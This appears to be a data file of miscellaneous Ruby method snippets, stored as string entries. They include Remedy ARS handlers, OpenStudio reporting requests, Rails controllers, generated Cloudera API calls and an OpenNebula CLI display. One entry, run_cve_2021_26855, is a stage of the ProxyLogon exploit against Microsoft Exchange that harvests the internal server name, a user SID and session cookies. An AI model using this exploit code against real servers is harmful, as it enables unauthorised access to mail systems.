site_parsed[\"entries\"][0][\"values\"][\"Zip/Postal Code\"] \n\t\t\t\t@field_values[\"Time Zone\"] = site_parsed[\"entries\"][0][\"values\"][\"Time Zone\"] \n end\n\t\t else\t\n if @error_handling == \"Raise Error\"\n\t raise result.body\n\t\t else \n\t error_message = \"ERROR #{response.code} while retreiving Site record.\"\n\t\t\t results=\"Failed\"\n\t\t end\n end\n end\n\t end\n\t end\n\t \n # retreive the record by the search query to get the Request ID\n\t requestId=\"\"\n user_reponse = RestClient::Request.new({\n method: :get,\n url: \"#{api_route}\",\n\t headers: headers\n }).execute do |response, request, result|\n results = response.code\n\t puts response.code\n\t if response.code == 200\n puts(result.body) if @debug_logging_enabled\n\t\t user_parsed = JSON.parse(response)\n\t puts(\"Response: #{response}\") if @debug_logging_enabled\n\t\t if user_parsed[\"entries\"][0].nil?\n\t if @error_handling == \"Raise Error\"\n\t raise \"No Record Found for #{@parameters[\"login_id\"]}\"\n\t\t else \n error_message = \"No Record Found for #{@parameters[\"login_id\"]}\"\n\t\t\t results=\"Failed\"\n\t\t end\n\t else\n requestId = user_parsed[\"entries\"][0][\"values\"][\"Person ID\"] \n\t puts(\"Person ID: #{requestId}\") if @debug_logging_enabled\n\t end\n\t else\n\t\t puts(\"ERROR DUMP: #{response.body}\") if @debug_logging_enabled\n if @error_handling == \"Raise Error\"\n\t raise result.body\n\t\t else \n\t error_message = \"ERROR #{response.code} while retreiving record.\"\n\t\t\tresults=\"Failed\"\n\t\t end\n end\n end\n \n\t # if there are no errors, we can use the requestId to update the record\n\t if error_message==\"\"\n\t\n\t @field_values.reject!{|key,value|\n (value.nil? or value.empty?)\n }\n\t\t# walk the field values hash to check for a Null keyword - nil\n @field_values.each_key {|key|\n if (@field_values[key] == \"nil\")\n\t\t @field_values[key] = nil\n end\n }\n\t request = { \"values\" => @field_values}\n\t puts(format_hash(\"Body: \", request)) if @debug_logging_enabled\n\t request = request.to_json\n\t\n\t update_route = \"#{api_server}/arsys/v1/entry/CTM:People/\"+requestId\n\t puts(\"UPDATE ROUTE: #{update_route}\") if @debug_logging_enabled\n\n response = RestClient::Request.new({\n method: :put,\n url: \"#{update_route}\",\n payload: request,\n\t headers: headers\n }).execute do |response, request, result|\n results = response.code\n\t #if sucessful code will be 204 and headers will contain a date and a server value\n\t #if there is an error response.body will contain a json string with messageType, messageText, messageNumber and messageAppendedText all within an array\n\t if response.code == 204\n\t\t results=\"Successful\"\n\t\t else\t\n\t\t puts(\"ERROR DUMP: #{response.body}\") if @debug_logging_enabled\n\t if @error_handling == \"Raise Error\"\n raise \"ERROR: #{response.code} #{JSON.parse(response.body)[0]['messageText']}\"\n\t\t else \n\t error_message = \"ERROR: #{response.code} #{JSON.parse(response.body)[0]['messageText']}\"\n\t\t\t results=\"Failed\"\n\t\t end\n end\n end\n end\n end\n\n # Return the results\n results = <<-RESULTS\n <results>\n\t <result name=\"Handler Error Message\">#{escape(error_message)}</result>\n <result name=\"Result\">#{escape(results)}</result>\n </results>\n RESULTS\n puts(\"Results: \\n#{results}\") if @debug_logging_enabled\n\t return results\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return result\n end\n\n result = OpenStudio::IdfObjectVector.new\n\n # request zone variables for the run period\n result << OpenStudio::IdfObject.load('Output:Variable,*,Zone Electric Equipment Electric Energy,RunPeriod;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Zone People Occupant Count,RunPeriod;').get\n\n # request service water heating use\n result << OpenStudio::IdfObject.load('Output:Variable,*,Water Use Connections Hot Water Volume,RunPeriod;').get\n\n # request coil and fan energy use for HVAC equipment\n result << OpenStudio::IdfObject.load('Output:Variable,*,Chiller COP,RunPeriod;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Chiller Evaporator Cooling Energy,RunPeriod;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Heating Coil Electric Energy,RunPeriod;').get # J\n result << OpenStudio::IdfObject.load('Output:Variable,*,Cooling Coil Electric Energy,RunPeriod;').get # J\n result << OpenStudio::IdfObject.load('Output:Variable,*,Heating Coil Heating Energy,RunPeriod;').get # J\n result << OpenStudio::IdfObject.load('Output:Variable,*,Cooling Coil Total Cooling Energy,RunPeriod;').get # J\n result << OpenStudio::IdfObject.load('Output:Variable,*,Air System Outdoor Air Flow Fraction,RunPeriod;').get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Air System Mixed Air Mass Flow Rate,RunPeriod;').get # kg/s\n\n #result << OpenStudio::IdfObject.load('Output:Variable,*,Fan Electric Energy,RunPeriod;').get # J\n #result << OpenStudio::IdfObject.load('Output:Variable,*,Humidifier Electric Energy,RunPeriod;').get # J\n #result << OpenStudio::IdfObject.load('Output:Variable,*,Evaporative Cooler Electric Energy,RunPeriod;').get # J\n #result << OpenStudio::IdfObject.load('Output:Variable,*,Baseboard Hot Water Energy,RunPeriod;').get # J\n #result << OpenStudio::IdfObject.load('Output:Variable,*,Baseboard Electric Energy,RunPeriod;').get # J\n\n return result\n end",
"def requested\n requested_params = {\n external_code: params[:id],\n company_id: params[:company][:id],\n company_name: params[:company][:name],\n recruiter_id: params[:recruiter][:id],\n recruiter_name: params[:recruiter][:name],\n applicant_id: params[:applicant][:id],\n applicant_name: params[:applicant][:name],\n job_id: params[:job][:id],\n job_title: params[:job][:title],\n status: params[:status]\n }\n\n @service = Service.new(requested_params)\n\n if @service.save\n render json: { status: :created }, status: :created\n else\n render json: @service.errors, status: :unprocessable_entity\n end\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # use the built-in error checking\n # if !runner.validateUserArguments(arguments(), user_arguments)\n # return false\n # end\n\n # log variable names\n out_var_names = []\n\n # HVAC equipment\n out_var_names << 'Boiler Heating Energy'\n out_var_names << 'Boiler Gas Energy'\n out_var_names << 'Chiller Evaporator Cooling Energy'\n out_var_names << 'Chiller Electric Energy'\n out_var_names << 'Cooling Coil Total Cooling Energy'\n out_var_names << 'Cooling Coil Electric Energy'\n out_var_names << 'Heating Coil Heating Energy'\n out_var_names << 'Heating Coil Electric Energy'\n out_var_names << 'Heating Coil Gas Energy'\n out_var_names << 'VRF Heat Pump COP'\n out_var_names << 'VRF Heat Pump Cooling COP'\n out_var_names << 'VRF Heat Pump Heating COP'\n out_var_names << 'VRF Heat Pump Cooling Electric Energy'\n out_var_names << 'VRF Heat Pump Heating Electric Energy'\n # out_var_names << 'Cooling Tower Fan Electric Energy'\n # out_var_names << 'Cooling Tower Fan Electric Power'\n # out_var_names << 'Cooling Tower Heat Transfer Rate'\n # out_var_names << 'Zone Water to Air Heat Pump Total Cooling Energy'\n # out_var_names << 'Zone Water to Air Heat Pump Total Heating Energy'\n # out_var_names << 'Zone Water to Air Heat Pump Electric Energy'\n\n # water heaters\n out_var_names << 'Water Heater Heating Energy'\n out_var_names << 'Water Heater Gas Energy'\n out_var_names << 'Water Heater Electric Energy'\n\n # refrigeration equipment\n out_var_names << 'Refrigeration System Total Compressor Electric Energy'\n out_var_names << 'Refrigeration System Total Transferred Load Heat Transfer Energy'\n out_var_names << 'Refrigeration System Total Cases and Walk Ins Heat Transfer Energy'\n out_var_names << 'Refrigeration Compressor Electric Energy'\n out_var_names << 'Refrigeration Compressor Heat Transfer Energy'\n out_var_names << 'Refrigeration System Condenser Heat Transfer Energy'\n out_var_names << 'Refrigeration System Condenser Fan Electric Energy'\n\n # request the variables\n out_var_names.each do |out_var_name|\n request = OpenStudio::IdfObject.load(\"Output:Variable,*,#{out_var_name},timestep;\").get\n result << request\n runner.registerInfo(\"Adding output variable for '#{out_var_name}' reporting timestep\")\n end\n\n return result\n end",
"def api_v11_clusters_cluster_name_services_service_name_role_commands_hdfs_enter_safemode_post_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_role_commands_hdfs_enter_safemode_post ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_role_commands_hdfs_enter_safemode_post\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_role_commands_hdfs_enter_safemode_post\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/roleCommands/hdfsEnterSafemode\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_role_commands_hdfs_enter_safemode_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n if params[\"query\"]\n #Represent SoQL query as HTTP params\n args = {\"$q\" => params[\"query\"], \n \"$select\" => \"applicant, address, latitude, longitude, schedule\", \n \"$limit\" => SODA_SEARCH_LIMIT.to_s}\n response = FOOD_TRUCK_FINDER_SODA_CLIENT.get(SF_FOOD_TRUCK_SODA_DATASET_ID,\n args)\n \n # Formating the SODA response into a dictionary of attributes which\n # the Google Maps plugin can consume\n @trucks = response.flat_map { |truck|\n if (truck.applicant && \n truck.schedule && \n truck.latitude && \n truck.longitude &&\n truck.address)\n [{ \"applicant\" => truck.applicant, \n \"schedule\" => truck.schedule, \n \"lat\" => truck.latitude, \n \"lng\" => truck.longitude, \n \"title\" => truck.applicant,\n \"address\" => truck.address,\n #Generating and dynamically formatting the HTML for the \n #'info-window' that pops up when a map marker is clicked on\n \"infowindow\" => generate_infowindow(truck)\n }]\n else\n #Remove food trucks with missing attributes \n []\n end\n }\n else\n @trucks = []\n end\n\n respond_to do |format|\n format.html\n end\n end",
"def perform\n\n set_user(@data['user'])\n\n set_client_token(@data['client_token'])\n\n set_oracle_price_points(@data['oracle_price_points'])\n\n set_pending_critical_interactions(@data['pending_critical_interactions']) if @data['pending_critical_interactions'].present?\n\n set_client_token_planner(@data['client_token_planner']) if @data['client_token_planner'].present?\n\n set_chain_interaction_params(@data['chain_interaction_params']) if @data['chain_interaction_params'].present?\n\n set_client_balances(@data['client_balances']) if @data['client_balances'].present?\n\n set_token_supply_details(@data['token_supply_details']) if @data['token_supply_details'].present?\n\n set_client_stats(@data['client_stats']) if @data['client_stats'].present?\n\n set_api_console_data(@data['api_console_data']) if @data['api_console_data'].present?\n\n set_client_bt_addresses_data(@data['client_bt_addresses']) if @data['client_bt_addresses'].present?\n\n end",
"def index\n # HACK - refer header - avoid Unit user, using direct url\n is_admin=current_user.roles[:user_roles][:administration]\n if is_admin==\"1\" || (current_user.staff.unit_id && Unit.is_depot.pluck(:id).include?(current_user.staff.unit_id))\n @search = DepotFuel.search_by_role(is_admin, current_user.staff_id).search(params[:q])\n @depot_fuels = @search.result\n end\n respond_to do |format|\n if is_admin==\"1\" || (current_user.staff.unit_id && Unit.is_depot.pluck(:id).include?(current_user.staff.unit_id))\n format.html\n else\n format.html {redirect_to root_path, notice: (t 'menu.depot_fuels')+(t 'users.depot_staff_required')}\n end\n end\n end",
"def create\n req = VCAP::Services::Api::ServiceOfferingRequest.decode(request_body)\n logger.debug(\"Create service request: #{req.extract.inspect}\")\n\n # Should we worry about a race here?\n\n success = nil\n svc = Service.find_by_label(req.label)\n if svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n attrs = req.extract.dup\n attrs.delete(:label)\n # Keep DB in sync with configs if the token changes in the config\n attrs[:token] = @service_auth_token if svc.is_builtin?\n svc.update_attributes!(attrs)\n else\n # Service doesn't exist yet. This can only happen for builtin services since service providers must\n # register with us to get a token.\n svc = Service.new(req.extract)\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.is_builtin? && svc.verify_auth_token(@service_auth_token)\n svc.token = @service_auth_token\n svc.save!\n end\n\n render :json => {}\n end",
"def api_v11_clusters_cluster_name_services_service_name_role_commands_lsof_post_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_role_commands_lsof_post ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_role_commands_lsof_post\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_role_commands_lsof_post\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/roleCommands/lsof\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_role_commands_lsof_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def main()\n\t@home_directory=\"/home/ubuntu\"\n\t@curl_path =\"/usr/bin\"\n\t@curl_command = \"curl\"\n\t@dummy_directory=\"/opt/cloudfoundry/dummy\"\n\t@project = \"redis\"\n\t@zip_path = \"/opt/cloudfoundry/gitzip/#{@project}\"\n\t@project_directory = \"/opt/cloudfoundry/project\"\n\t@git_url =\"https://github.com/pivotal-cf/cf-redis-example-app/archive/master.zip\"\n\tget_api_url()\n\tget_access_token()\n\tprint \"Enter the Organization name:\".yellow\n\t@organization_name = gets.chomp\n\tprint \"Enter the Space name:\".yellow\n\t@space_name = gets.chomp\n\tendpoint = Endpoint.new(@curl_command,@curl_path,@api_url,@access_token)\n\tendpoint.main(@organization_name,@space_name)\n\tspace_hash = endpoint.space_hash # since it is needed in service class for checking the service in market place for a particular space.\n\tcf_login()\n\tprint \"Enter the application name:\".yellow\n\t@application_name = gets.chomp\n\tapplication = Application.new(@curl_command,@curl_path,@application_name,@access_token,@api_url,@zip_path,@project_directory,@git_url)\n\tapplication.delete_orphan_route()\n\tapplication.check_for_app(@application_name)\n\tservice = Service.new(@curl_command,@curl_path,@organization_name,@space_name,@api_url,@access_token,space_hash)\n\tservice.main()\n\t@service_instance_name = service.service_instance\n\tbind = Bind.new\n\tbind.binding_service_to_app(@application_name,@service_instance_name)\n\tstart_obj = Start.new\n\tstart_obj.start(@application_name)\n\tcheck = Check.new(@api_url,@curl_command,@curl_path,@dummy_directory,@application_name)\n\tcheck.push_data()\n\tcheck.get_data()\nend",
"def run_cve_2021_26855\n # request for internal server name.\n response = send_http(datastore['METHOD'], 'localhost~1942062522')\n if response.code != 500 || response.headers['X-FEServer'].empty?\n print_bad('Could\\'t get the \\'X-FEServer\\' from the headers response.')\n\n return\n end\n server_name = response.headers['X-FEServer']\n print_status(\" * internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, @legacy_dn = request_autodiscover(server_name)\n\n print_status(\" * Server: #{server_id}\")\n print_status(\" * LegacyDN: #{@legacy_dn}\")\n\n # get the user UID using mapi request.\n print_status(message('Sending mapi request'))\n @sid = request_mapi(server_name, server_id)\n print_status(\" * sid: #{@sid} (#{datastore['EMAIL']})\")\n\n # request cookies (session and canary)\n print_status(message('Sending ProxyLogon request'))\n session_info = request_proxylogon(server_name)\n\n print_status(\" * ASP.NET_SessionId: #{session_info[0]}\")\n print_status(\" * msExchEcpCanary: #{session_info[1]}\")\n @session = \"ASP.NET_SessionId=#{session_info[0]}; msExchEcpCanary=#{session_info[1]};\"\n\n # get OAB id\n oab_id = request_oab(server_name, session_info[1])\n print_status(\" * OAB id: #{oab_id[1]} (#{oab_id[0]})\")\n\n [server_name, session_info[1], oab_id]\n end",
"def services\n Rails.logger.debug 'Inside service'\n @result_json = {}\n begin\n action = params[:do]\n case action\n when 'login'\n Rails.logger.debug 'Processing login'\n @result_json = login\n when 'register'\n Rails.logger.debug 'Processing registration'\n @result_json = register\n when 'save_linkedin_profile'\n Rails.logger.debug 'Saving Linkedin Profile'\n @result_json = save_linkedin_profile\n when 'get_dim_data'\n dim_type = params[:dim_type]\n Rails.logger.debug \"Getting dimension data - #{dim_type}\"\n @result_json = get_dim_data (dim_type)\n when 'get_filter_data'\n filter_data = params[:filter_data]\n columns = params[:columns]\n Rails.logger.debug \"Getting Filter data - #{filter_data}\"\n @result_json = get_filter_data(filter_data, columns)\n else\n Rails.logger.warn 'Unsupported service call'\n end\n rescue\n Rails.logger.error \"Error in service method #{$!}\"\n ensure\n render json: @result_json\n end\n end",
"def show_service_authorization\n\t\t\t@view_mode = true\n\t\t\t@focus_client_id = session[:CLIENT_ID]\n\t\t\t@focus_program_unit_id = session[:PROGRAM_UNIT_ID]\n\t\t\tselected_activity_detail()\n\t\t\t@focus_client = Client.find(@focus_client_id)\n\t\t\t@focus_program_unit = ProgramUnit.find(@focus_program_unit_id)\n\t\t\t# Initialize Session Variable - start - Manoj 10/09/2014\n\t\t\tsession[:SERVICE_AUTHORIZATION_ID] = params[:service_authorization_id].to_i\n\t\t\t# Initialize Session Variable - End - Manoj 10/09/2014\n\t\t\t@service_authorization = ServiceAuthorization.find(session[:SERVICE_AUTHORIZATION_ID].to_i)\n\t\t\tif @service_authorization.service_type == 6215\n\t\t\t\t# Transportation\n\n\t\t\t\testimated_service_cost = ServiceAuthorizationLineItem.get_estimated_service_cost_details(@service_authorization.id)\n\t\t\t\tif estimated_service_cost.present?\n\t\t\t\t\t@service_authorization.distance = estimated_service_cost.first.quantity\n\t\t\t\t\t@service_authorization.average_service_cost = estimated_service_cost.average(:estimated_cost).to_f\n\t\t\t\t\t@service_authorization.total_service_cost = estimated_service_cost.sum(:estimated_cost).to_f\n\t\t\t\tend\n\n\t \t \t@service_schedules = ServiceSchedule.get_schedules_sorted_by_id(@service_authorization.id)\n\t \t \t@can_authorize = ServiceAuthorization.can_authorize_service(@service_authorization.id)\n\t \t \t@service_authorization_line_items = @service_authorization.service_authorization_line_items.order(\"id ASC\")\n\t \telse\n\t \t\tredirect_to non_transportation_srvc_show_path(@service_authorization.id)\n\t \tend\n\trescue => err\n\t\terror_object = CommonUtil.write_to_attop_error_log_table(\"ServiceAuthorizationsController\",\"show_service_authorization\",err,current_user.uid)\n\t\tflash[:alert] = \"Error ID: #{error_object.id} - Attempted to access invalid service authorization.\"\n\t\tredirect_to_back\n\tend",
"def show_service(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 % \"SERVICE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts str % [\"STRATEGY\", template['deployment']]\n puts str % [\"SERVICE STATE\", Service.state_str(template['state'])]\n puts str % [\"SHUTDOWN\", template['shutdown_action']] if template['shutdown_action']\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n template['roles'].each {|role|\n CLIHelper.print_header(\"ROLE #{role['name']}\", false)\n\n puts str % [\"ROLE STATE\", Role.state_str(role['state'])]\n puts str % [\"PARENTS\", role['parents'].join(', ')] if role['parents']\n puts str % [\"VM TEMPLATE\", role['vm_template']]\n puts str % [\"CARDINALITY\", role['cardinality']]\n puts str % [\"MIN VMS\", role['min_vms']] if role['min_vms']\n puts str % [\"MAX VMS\", role['max_vms']] if role['max_vms']\n puts str % [\"COOLDOWN\", \"#{role['cooldown']}s\"] if role['cooldown']\n puts str % [\"SHUTDOWN\", role['shutdown_action']] if role['shutdown_action']\n\n puts \"NODES INFORMATION\"\n NODE_TABLE.show(role['nodes'])\n\n if !role['elasticity_policies'].nil? && role['elasticity_policies'].size > 0 || !role['scheduled_policies'].nil? && role['scheduled_policies'].size > 0\n puts\n puts \"ELASTICITY RULES\"\n\n if role['elasticity_policies'] && role['elasticity_policies'].size > 0\n puts\n# puts \"ELASTICITY POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :EXPRESSION, \"\", :left, :size=>48 do |d|\n if !d['expression_evaluated'].nil?\n d['expression_evaluated']\n else\n d['expression']\n end\n end\n\n column :'EVALS', \"\", :right, :size=>5 do |d|\n if d['period_number']\n \"#{d['true_evals'].to_i}/#{d['period_number']}\"\n else\n \"-\"\n end\n end\n\n column :PERIOD, \"\", :size=>6 do |d|\n d['period'] ? \"#{d['period']}s\" : '-'\n end\n\n column :COOL, \"\", :size=>5 do |d|\n d['cooldown'] ? \"#{d['cooldown']}s\" : '-'\n end\n\n default :ADJUST, :EXPRESSION, :EVALS, :PERIOD, :COOL\n end.show([role['elasticity_policies']].flatten, {})\n end\n\n if role['scheduled_policies'] && role['scheduled_policies'].size > 0\n puts\n# puts \"SCHEDULED POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :TIME, \"\", :left, :size=>67 do |d|\n if d['start_time']\n Time.parse(d['start_time']).to_s\n else\n d['recurrence']\n end\n end\n\n default :ADJUST, :TIME\n end.show([role['scheduled_policies']].flatten, {})\n end\n end\n\n puts\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"LOG MESSAGES\",false)\n\n if template['log']\n template['log'].each { |log|\n t = Time.at(log['timestamp']).strftime(\"%m/%d/%y %H:%M\")\n puts \"#{t} [#{log['severity']}] #{log['message']}\"\n }\n end\n\n 0\n end\n end\nend",
"def execute()\n @error_message = \"\"\n @error_handling = @parameters[\"error_handling\"]\n\n # CORE configuration\n ce_server = @info_values['ce_api_server'].chomp(\"/\")\n\n # ARS configuration\n\t ars_username = URI.encode(@info_values[\"ars_username\"])\n ars_password = @info_values[\"ars_password\"]\n ars_server = @info_values[\"ars_server\"]\n ars_form = URI.encode(@parameters['form'])\n ars_field_values = JSON.parse(@parameters['field_values'])\n\n # Handler Result Variables\n\t ars_result = \"\"\n ars_record_location = \"\"\n\t ars_request_id = \"\"\n\n begin\n # Reference for creating ARS entry w/attachments\n #\n # https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA33n000000XqnpCAC&type=ProductDescription\n \n \n puts(format_hash(\"Initial ARS Field Values:\", ars_field_values)) if @debug_logging_enabled\n\n # Remove any empty or nil values\n ars_field_values.reject!{ |key,value| (value.nil? or value.empty?) }\n\n # Walk the field values hash to check for a Null keyword - nil,\n # indicating the field value should be sent as null rather than\n # being skipped\n ars_field_values.each_key { |key| ars_field_values[key] = nil if ars_field_values[key] == \"nil\" }\n\n # Create the request body that will consist of multiple parts for the \n # form field values, and the attachments\n ars_request_body = {}\n\n # Get attachments and add to the name to the ARS field values, and \n # the file content to the request body\n if @parameters[\"ce_attachment_field_1\"]\n # download attachment field 1\n file_attachment_1 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_1\"])\n # add the name of the file to ARS attachment field 1\n ars_field_values[@parameters[\"ars_attachment_field_1\"]] = File.basename(file_attachment_1)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_1\"]}\"] = File.new(file_attachment_1, 'rb')\n end\n if @parameters[\"ce_attachment_field_2\"]\n # download attachment field 2\n file_attachment_2 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_2\"])\n # add the name of the file to ARS attachment field 2\n ars_field_values[@parameters[\"ars_attachment_field_2\"]] = File.basename(file_attachment_2)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_2\"]}\"] = File.new(file_attachment_2, 'rb')\n end\n if @parameters[\"ce_attachment_field_3\"]\n # download attachment field 3\n file_attachment_3 = download_ce_attachment(\n ce_server, @parameters['submission_id'], @parameters[\"ce_attachment_field_3\"])\n # add the name of the file to ARS attachment field 3\n ars_field_values[@parameters[\"ars_attachment_field_3\"]] = File.basename(file_attachment_3)\n # add the file as an attachment to the request body\n ars_request_body[\"attach-#{@parameters[\"ars_attachment_field_3\"]}\"] = File.new(file_attachment_3, 'rb')\n end\n\n puts(format_hash(\"Final ARS Field Values:\", ars_field_values)) if @debug_logging_enabled\n\n # entry field values\n entry_file = File.join(Dir::tmpdir, \"entry.json\")\n File.open(entry_file, \"w\") { |f| f.write( { \"values\" => ars_field_values }.to_json) }\n ars_request_body[\"entry\"] = File.new(entry_file, 'r')\n\n # Generate the URL to create the ARS entry\n ars_request_url = \"#{ars_server}/arsys/v1/entry/#{ars_form}\"\n puts(\"ARS Create URL: #{ars_request_url}\") if @debug_logging_enabled\n\n # ars headers\n ars_request_headers = {\n :authorization => \"AR-JWT #{ars_access_token(ars_server, ars_username, ars_password)}\",\n :content_type => \"multipart/form-data\"\n }\n\n # Uncomment to add additional logging. !!Warning token value will be save to log\n # RestClient.log = 'stdout' if @debug_logging_enabled\n\n # Build the HTTP request to create the ARS entry\n ars_request = RestClient::Request.new({\n method: :post,\n url: ars_request_url,\n payload: ars_request_body,\n headers: ars_request_headers\n })\n \n # execute request\n ars_response = ars_request.execute \n\n ars_result = \"Successful\"\n puts(format_hash(\"ARS Response Headers: \", ars_response.headers)) if @debug_logging_enabled\n\n # Retrieve the ARS record URL from the location header\n ars_record_location = ars_response.headers[:location]\n puts(\"ARS Record Location: #{ars_record_location}\") if @debug_logging_enabled\n\n # parse the record ID off the location\n ars_request_id = ars_record_location.split('/').last\n \n rescue RestClient::RequestTimeout => e\n @error_message = \"Timeout creating ARS entry: #{e}\" \n \n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n rescue RestClient::Exception => e\n @error_message = \"Error creating ARS entry:\" + \n \"\\n\\tResponse Code: #{e.response.code}\\n\\tResponse: #{e.response.body}\"\n \n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n rescue Exception => e\n @error_message = \"Error creating ARS entry:\\n\\tException: #{e.inspect}\"\n # Raise the error if instructed to, otherwise will fall through to\n # return an error message.\n raise if @error_handling == \"Raise Error\"\n ensure\n # Delete the entry values file\n delete_file(entry_file) if entry_file\n # Delete the attachment files that were downloaded with this handler\n delete_file(file_attachment_1) if file_attachment_1\n delete_file(file_attachment_2) if file_attachment_2\n delete_file(file_attachment_3) if file_attachment_3\n end\n\n # Return the results\n results = <<-RESULTS\n <results>\n\t <result name=\"Handler Error Message\">#{escape(@error_message)}</result>\n <result name=\"Result\">#{escape(ars_result)}</result>\n <result name=\"Record Location\">#{escape(ars_record_location)}</result>\n\t <result name=\"Record ID\">#{escape(ars_request_id)}</result>\n </results>\n RESULTS\n \n return results\n end",
